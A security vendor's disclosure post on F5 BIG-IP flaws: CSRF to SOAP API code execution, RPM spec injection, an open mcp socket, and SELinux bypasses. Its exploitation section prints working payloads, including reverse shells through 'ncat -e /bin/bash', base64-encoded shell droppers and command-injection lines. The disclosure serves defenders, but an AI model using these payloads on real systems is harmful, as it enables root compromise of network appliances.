![CVE-2022-41622 and CVE-2022-41800 (FIXED): F5 BIG-IP and iControl REST Vulnerabilities and Exposures](https://blog.rapid7.com/content/images/2022/11/GettyImages-1331943958.jpg)
Rapid7 discovered several vulnerabilities and exposures in F5 BIG-IP and BIG-IQ devices running a customized distribution of CentOS detailed in F5’s [Base Operating Systems]() support article. The affected products are detailed in the vendor advisories below:
* [CVE-2022-41622](): BIG-IP and BIG-IQ are vulnerable to unauthenticated remote code execution via cross-site request forgery (CSRF)
* [CVE-2022-41800](): Appliance mode iControl REST is vulnerable to authenticated remote code execution via RPM spec injection
Rapid7 also discovered several bypasses of security controls that F5 does not consider vulnerabilities with a reasonable attack surface ([K05403841]()):
* ID1145045 – Local privilege escalation via bad UNIX socket permissions ([CWE-269]())
* ID1144093 – SELinux bypass via incorrect file context ([CWE-732]())
* ID1144057 – SELinux bypass via command injection in an update script ([CWE-78]())
Note: the presence of SELinux hardening on F5 devices is an excellent safeguard that made our exploitation attempts more difficult.
Rapid7 initially reported these vulnerabilities to F5 on August 18, 2022. Since then, members of our research team have worked with the vendor to discuss impact, resolution, and a coordinated response.
## Product description
Several F5 products, namely in the BIG-IP family of traffic-shaping devices, are affected by the vulnerabilities. These devices and applications are typically exposed to the internet for normal functionality, but the management ports where these vulnerabilities occur are typically internal-facing.
For more information on the affected products, see the vendor’s [advisory](), and the vendor’s [product website]().
## Impact
We believe that widespread exploitation of the issues in this disclosure is unlikely. That being said, by successfully exploiting the worst of the vulnerabilities (CVE-2022-41622), an attacker could gain persistent root access to the device’s management interface (even if the management interface is not internet-facing). However, that would require a confluence of factors to actually be exploitable (an administrator with an active session would need to visit a hostile website, and an attacker would have to have some knowledge of the target network).
Most of the remaining vulnerabilities are relatively minor, and require the attacker to already have some level of access to the target device. They are more likely to be leveraged as part of an exploit chain to exacerbate more serious vulnerabilities.
At time of publishing, F5 was not aware of any exploitation of these vulnerabilities.
## Credit
These vulnerabilities were discovered and documented by Ron Bowes, Lead Security Researcher at Rapid7. They are being disclosed in accordance with Rapid7âs [vulnerability disclosure policy]().
## Vendor statement
F5 is committed to security, and we collaborate with valued researchers, such as Rapid7, to respond to and resolve vulnerabilities on behalf of our customers.
## Exploitation
### CVE-2022-41622 – Unauthenticated Remote Code Execution in SOAP API via CSRF
F5 Big-IP’s SOAP API (the endpoint `/iControl/iControlPortal.cgi`) does not have cross-site request forgery (CSRF) protection, nor does it require a correct `Content-Type` or other typical SOAP API protections. Consequently, if a user (who is authenticated to an F5 Big-IP device) visits an attacker-controlled website (or is redirected there via an open redirect or cross-site scripting), an attacker can run arbitrary SOAP commands against the F5 Big-IP SOAP API in the authenticated user’s session. That could lead to remote code execution in several different ways, which we demonstrated in a [proof of concept]().
Note: several of the exploit paths require SELinux bypasses, which we have detailed below.
The API endpoint for SOAP requests, `iControlPortal.cgi`, which is accessible at `/iControl/iControlPortal.cgi`, is a CGI script that is SetUID root â that is, it executes as root:
ls -l /usr/local/www/iControl/iControlPortal.cgi
-rwsr-xr-x. 1 root root 2931172 Jul 15 01:13 /usr/local/www/iControl/iControlPortal.cgi
The script authenticates the user via HTTP Basic authentication and accepts XML SOAP requests. The XML API is quite complex with many different API endpoints available to use. We chose the `upload_file` and `create_user_3` endpoints as examples in our PoC, because they demonstrate the impact of the exploit concisely. We didn’t find a way to immediately run code on the target host, but our investigation did not include every possible API endpoint.
[The PoC README.md file]() has full details on the payloads we tested and how to use them to execute arbitrary code at reboot or login.
### CVE-2022-41800 – Authenticated Remote Code Execution via RPM Spec Injection
F5 Big-IP’s JSON API includes an administrator-only endpoint that creates an RPM specification file (`.rpmspec`). That file is consumed by another administrator-only endpoint to create an RPM file. Both endpoints are vulnerable to injection attacks into the RPM spec file, where additional fields could be added to the spec using newlines. Notably, an attacker could add executable shell commands that run when the resultant RPM file is created. This would give authenticated administrators (who may be malicious insiders, users of compromised accounts, etc) the ability to run shell commands using an endpoint that is not designed or documented as having that functionality.
Although F5 considered this noteworthy enough to assign CVE-2022-41800, we consider the risk of this vulnerability to be low. While the results are surprising, this exploit requires an administrator login, and other endpoints (such as `/mgmt/tm/util/bash`) that are capable of executing shell commands by-design. That said, this technique can bypass blocklists or alerts that an administrator might set up for the well known `bash` endpoint.
To demonstrate the vulnerability, we developed this JSON payload:
json
{
“specFileData”: {
“name”: “test”,
“srcBasePath”: “/tmp”,
“version”: “test6”,
“release”: “test7”,
“description”: “test8nn%checknncat -e /bin/bash 10.0.0.179 4444”,
“summary”: “test9”
}
}
Note the newlines and `%check` in the `description` field, which according to [the documentation]() is typically used to run tests. We sent that JSON as part of an authenticated request to `/rpm-spec-creator`:
$ curl -sk -uadmin:Password1 -H “Content-Type: application/json” -X POST https://10.0.0.162/mgmt/shared/iapp/rpm-spec-creator –data ‘{“specFileData”: {“name”: “test”, “srcBasePath”: “/tmp”, “version”: “test6”, “release”: “test7”, “description”: “test8nn%checknncat -e /bin/bash 10.0.0.179 4444”, “summary”: “test9”}}’
{“specFileData”:{“name”:”test”,”srcBasePath”:”/tmp”,”version”:”test6″,”release”:”test7″,”description”:”test8nn%checknncat -e /bin/bash 10.0.0.179 4444″,”summary”:”test9″,”user”:”restnoded”,”group”:”restnoded”},”specFilePath”:”/var/config/rest/node/tmp/e1816b74-cb67-4c96-b4f0-4be45b0f61a5.spec”}
The server responds with a `specFilePath` containing the spec we created. Here’s what the file looks like on the file system:
$ ssh [email protected] cat /var/config/rest/node/tmp/e1816b74-cb67-4c96-b4f0-4be45b0f61a5.spec
Summary: test9
Name: test
Version: test6
Release: test7
BuildArch: noarch
Group: Development/Libraries
License: Commercial Packager:
F5 Networks
%description
test8
%check
n.cat -e /bin/bash 10.0.0.179 4444
[…]
We start our listener on the host/port specified in the `ncat` command:
$ nc -v -l -p 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
And build the RPM with `/build-package` (using `jq` to format the output):
sh
$ curl -X POST -sku admin:Password1 https://10.0.0.162/mgmt/shared/iapp/build-package –data ‘{“state”: {}, “appName”:
“test”, “packageDirectory”: “/tmp”, “specFile
Path”: “/var/config/rest/node/tmp/e1816b74-cb67-4c96-b4f0-4be45b0f61a5.spec”, “force”: true }’ | jq
{
“step”: “RUN_BUILD_RPM_TASK”,
“packageDirectory”: “/tmp”,
“appName”: “test”,
“specFilePath”: “/var/config/rest/node/tmp/e1816b74-cb67-4c96-b4f0-4be45b0f61a5.spec”,
“force”: true,
“rpmDescription”: “Default exported iApp description.”,
“rpmSummary”: “Default exported iApp summary.”,
“isSpecFileToCleanUp”: false,
“id”: “5de02c7f-ac65-4fa0-8c2b-b541967ce578”,
“status”: “CREATED”,
“userReference”: {
“link”: “https://localhost/mgmt/shared/authz/users/admin”
},
“identityReferences”: [
{
“link”: “https://localhost/mgmt/shared/authz/users/admin”
}
],
“ownerMachineId”: “97163127-c56e-456c-af33-752dec349873”,
“generation”: 1,
“lastUpdateMicros”: 1666214391730921,
“kind”: “shared:iapp:build-package:buildrpmtaskstate”,
“selfLink”: “https://localhost/mgmt/shared/iapp/build-package/5de02c7f-ac65-4fa0-8c2b-b541967ce578”
}
Then, we verify that we get a root in shell on our listener:
$ nc -v -l -p 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.0.0.162.
Ncat: Connection from 10.0.0.162:58068.
whoami
root
### ID1145045 – Local Privilege Escalation via UNIX Socket Permissions
F5 uses a proprietary database called `mcp`, which is used for persistent storage on Big-IP (and related) devices. The database is owned by root and accessed via a UNIX domain socket with 0777 permissions (accessible by all local users) and no authentication:
# ls -l /var/run/mcp
srwxrwxrwx. 1 root root 0 Oct 19 14:12 /var/run/mcp
We can connect to it and perform queries using `socat`, which is (helpfully) installed by default.
As part of our research, we fully documented the protocol, including [writing a tool]() that can parse queries, create arbitrary queries, and remotely eavesdrop on traffic via an authenticated SSH connection. While the [list of supported object types]() is extensive, we targeted the user-management code since our goal was security bypasses.
We developed a script called `mcp-privesc.rb`, which is also included in that repository. The script creates a root-level account when its output is sent to that socket, as well as a pre-built `escalationplz.bin` payload that creates a `rontest` / `Password1` account when sent to the socket.
Here’s how we used the tool to create a message. Note: it was gzipped it for size reasons, then base64-encoded so we could copy/paste more easily. Output is truncated for the blog, but the full text is included in the `README.md` file in the repository:
$ ruby ./mcp-privesc.rb blogtest MyFunPW | gzip | base64 -w0
Attempting to create a crypt-sha512 hash of the password
Writing an `mcp` message to stdout that’ll create an account: blogtest / $6$vdznqfyc$q9L[…]1
Send it to the target using: socat -t100 – UNIX-CONNECT:/var/run/mcp ../../var/run/config/timeout.sh
# ls -l /var/run/config/timeout.sh
-r–r–r–. 1 root root 303 Oct 19 15:40 /var/run/config/timeout.sh
If we replace `/var/run/config/timeout.sh` with our own script via the SOAP interface, which we can (despite the file itself not having write permission), it will execute next time a user logs in via SSH and `/etc/profile.d` scripts execute. We use that file as a target in our [SOAP exploit proof of concept]():
/var/run/config/timeout.sh
IyBSZXN0b3JlIHRoZSBvcmlnaW5hbCBmaWxlCmVjaG8gJ0l3b2pJRlJJU1ZNZ1NWTWdRVTRnUVZWVVR5MUhSVTVGVWtGVVJVUWdSa2xNUlNBdElFUlBJRTVQVkNCRlJFbFVJU0VoQ2lNS0l5QlZjMlVnZEdobElIUnRjMmdnYzJobGJHd2dkWFJwYkdsMGVTQjBieUJ0WVd0bElHTm9ZVzVuWlhNZ2RHOGdkR2hsSUhONWMzUmxiU0JqYjI1bWFXZDFjbUYwYVc5dUxnb2pJRVp2Y2lCdGIzSmxJR2x1Wm05eWJXRjBhVzl1TENCelpXVWdkRzF6YUNBdFlTQm9aV3h3SUhONWN5QnpjMmhrTGdwUVUwOVZWRDFnTDJKcGJpOXdjeUF0TFc1dkxXaGxZV1JsY25NZ0xXOGdkSFI1SUMwa0pHQUthV1lnV3lBaUpIdFFVMDlWVkRvd09qTjlJaUE5UFNBaWRIUjVJaUJkT3lCMGFHVnVDaUFnSUNCbGVIQnZjblFnVkUxUFZWUTlNQXBsYkhObENpQWdJQ0JsZUhCdmNuUWdWRTFQVlZROU1BcG1hUW9LJyB8IGJhc2U2NCAtZCA+IC92YXIvcnVuL2NvbmZpZy90aW1lb3V0LnNoCgojIFBvcCBhIHNoZWxsCm5jYXQgLWUgL2Jpbi9iYXNoIDEwLjAuMC4xNzkgNDQ0NAo=
FILE_FIRST_AND_LAST
F5 argues that this is not a vulnerability, because it requires a different vulnerability to exist before it can be leveraged (as we demonstrated with CVE-2022-41622 above). As a result, it was not assigned a CVE. However, Rapid7 considers this a vulnerability because it bypasses a security boundary ânamely, SELinux. Without these SELinux bypasses, turning an arbitrary file write into code execution would be difficult, since most files an attacker would typically create or replace to exploit a file-write vulnerability (such as adding a script to `/etc/profile.d`) are blocked.
### ID1144057 – SELinux bypass via Command Injection in Startup Script
The script `/bin/f5_update_checker`, which is executed at boot, is vulnerable to command injection in its configuration file (`/shared/f5_update_action`). Several strings in the file are passed directly into shell commands, where arbitrary bash commands can be injected using backticks, semicolons, or any other typical [CWE-78]() technique.
This one is interesting, because we found it quite early in our research but didnât recognize its significance until much later. During our initial analysis, `f5_update_checker` caught our eye because it runs at boot, performs some sort of nebulous update check (ironically, update mechanisms are [a common source]() of security vulnerabilities), and is a 32-bit ELF binary written in C++. Additionally, running `strings` showed that it uses `curl` insecurely, with `-k`:
# strings $(which f5_update_checker)
[…]
curl -g -k -m 30 -s -f -o /dev/null
When `f5_update_checker` starts, it loads and parses a configuration file called `/shared/f5_update_action`, which doesn’t exist by default. In fact, as far as we can tell, absolutely nothing else on the entire operating system is aware of `/shared/f5_update_action`! Out of curiosity, we reverse engineered the file format from the binary, since the process won’t start without a valid (enough) file, and found it’s line-based and looks something like:
AAA
https://localhost:1234/success
https://localhost:1234/failure
0
0
0
0
The URLs are passed directly into `curl` with no escaping (not even quotes, in fact), so we can add in arbitrary commands however we like:
AAA
https://localhost:1234/success`touch /tmp/testshellinjection`
https://localhost:1234/failure
0
0
0
0
At the next reboot, `f5_update_checker` will execute, load the configuration file, pause for two minutes (by design), then execute the command.
At that point, we shelved this as not interesting with the note:
`f5_update_checker` consumes a file `/shared/f5_update_action` and grabs a URL from it. That leads to a bunch of problems – shell injection, SSRF, etc. But nothing seems to use any of this, so I guess it’s all a dud
Much later, we found the SOAP bypass discussed above, but lamented that while we could upload a file to anywhere on the filesystem as root, we couldn’t overwrite anything of value due to SELinux policies! After thinking for way too long, we remembered the seemingly innocuous vulnerability that we’d found a month earlier, recalled that it references a non-extant file, and tested it with SOAP. Sure enough, it worked!
Here is an example of a SOAP request that will plant a malicious `/shared/f5_update_action` file:
/shared/f5_update_action
QUFBCmh0dHBzOi8vbG9jYWxob3N0L3N1Y2Nlc3NgbmNhdCAtZSAvYmluL2Jhc2ggMTAuMC4wLjE3OSA0NDQ0YApodHRwczovL2xvY2FsaG9zdC9lcnJvcgowCjAKMAowCg==
FILE_FIRST_AND_LAST
This is an interesting case in which a low-risk vulnerability can actually be meaningfully leveraged, in the right context. Specifically, we found a way to bypass SELinux and create some sneaky persistence.
As with some of the other issues documented here, F5 does not consider this to be a vulnerability and did not assign it a CVE (but do plan to fix it). Rapid7 disagrees with their assessment because SELinux is a security boundary, and bypassing SELinux is a security issue. We’d normally consider this to be a very low-risk vulnerability, but because we used it as part of the exploit chain to turn CVE-2022-41622 into code execution, we believe it is important.
## Remediation
F5 has provided the following remediation advice:
F5 recommends customers review the security advisories published for these issues and evaluate their risk. Engineering hotfixes are available on request for both CVEs, and fixes for all of the issues will be included in future releases.
The known exploitation methods for CVE-2022-41622 require the attacker to know the address for a particular BIG-IP and successfully enact a Cross-Site Request Forgery against an administrator who is using the same browser to browse the web as well as manage their BIG-IP. Normal anti-CSRF techniques will prevent this exploit from succeeding; see [K94221585]() for more details.
The known exploitation methods for CVE-2022-41800 require that an attacker be authenticated as a valid user with Resource Admin or greater privileges. Therefore, the impact is limited to those customers running with Appliance Mode enabled; see [K12815]() for more information on Appliance Mode.
## Timeline
* July, 2022: Issues identified by Rapid7 researcher [Ron Bowes]()
* Thu, Aug 18, 2022: Privately disclosed findings to [F5 PSIRT]() per [Rapid7’s CVD policy]()
* Aug-Sep, 2022: Discussion and clarification about the issues with F5
* Thu, Sep 8, 2022: Extension on vulnerability disclosure date requested, offered Nov 17, 2022
* Fri, Sep 30, 2022: [CVE-2022-41622]() and [CVE-2022-41800]() reserved by F5
* Wed, Oct 5, 2022: Disclosure date moved to Wed, Nov 16, 2022
* Wed, Nov 16, 2022: This public disclosureRead More
References
Back to Main